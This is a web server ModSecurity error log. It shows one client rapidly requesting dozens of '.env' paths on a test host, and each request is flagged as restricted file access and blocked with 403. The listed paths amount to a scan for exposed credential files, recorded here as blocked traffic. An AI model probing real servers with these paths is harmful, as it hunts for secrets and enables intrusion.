[Mon Jul 28 20:46:23.023522 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCgAAAAI&quot;]
[Mon Jul 28 20:46:23.023715 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/Integration/Environment/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCgAAAAI&quot;]
[Mon Jul 28 20:46:23.043834 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tests/todo-react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCwAAAAI&quot;]
[Mon Jul 28 20:46:23.044028 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCwAAAAI&quot;]
[Mon Jul 28 20:46:23.044197 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tests/todo-react/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqCwAAAAI&quot;]
[Mon Jul 28 20:46:23.064305 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /testwork_json/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDAAAAAI&quot;]
[Mon Jul 28 20:46:23.064482 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDAAAAAI&quot;]
[Mon Jul 28 20:46:23.064645 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/testwork_json/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDAAAAAI&quot;]
[Mon Jul 28 20:46:23.084983 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDQAAAAI&quot;]
[Mon Jul 28 20:46:23.085161 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDQAAAAI&quot;]
[Mon Jul 28 20:46:23.085316 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDQAAAAI&quot;]
[Mon Jul 28 20:46:23.105563 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /theme_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDgAAAAI&quot;]
[Mon Jul 28 20:46:23.105748 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDgAAAAI&quot;]
[Mon Jul 28 20:46:23.105908 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/theme_static/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDgAAAAI&quot;]
[Mon Jul 28 20:46:23.126118 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumb/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDwAAAAI&quot;]
[Mon Jul 28 20:46:23.126316 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDwAAAAI&quot;]
[Mon Jul 28 20:46:23.126513 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumb/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqDwAAAAI&quot;]
[Mon Jul 28 20:46:23.147119 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /thumbs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEAAAAAI&quot;]
[Mon Jul 28 20:46:23.147353 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEAAAAAI&quot;]
[Mon Jul 28 20:46:23.147543 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/thumbs/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEAAAAAI&quot;]
[Mon Jul 28 20:46:23.167754 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tiedostot/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEQAAAAI&quot;]
[Mon Jul 28 20:46:23.167978 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEQAAAAI&quot;]
[Mon Jul 28 20:46:23.168167 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tiedostot/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEQAAAAI&quot;]
[Mon Jul 28 20:46:23.209598 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEwAAAAI&quot;]
[Mon Jul 28 20:46:23.209817 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEwAAAAI&quot;]
[Mon Jul 28 20:46:23.209989 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqEwAAAAI&quot;]
[Mon Jul 28 20:46:23.230273 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tmp/config/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqFAAAAAI&quot;]
[Mon Jul 28 20:46:23.230484 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqFAAAAAI&quot;]
[Mon Jul 28 20:46:23.230658 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tmp/config/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqFAAAAAI&quot;]
[Mon Jul 28 20:46:23.316820 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /tools/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGAAAAAI&quot;]
[Mon Jul 28 20:46:23.317019 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGAAAAAI&quot;]
[Mon Jul 28 20:46:23.317184 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/tools/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGAAAAAI&quot;]
[Mon Jul 28 20:46:23.337274 2025] [:error] [pid 1533943] [client 185.177.72.201:44388] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /travel_form/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Travel_form/.env&quot;] [unique_id &quot;aIfFfztW59P3rmsxDxVqGQAAAAI&quot;]
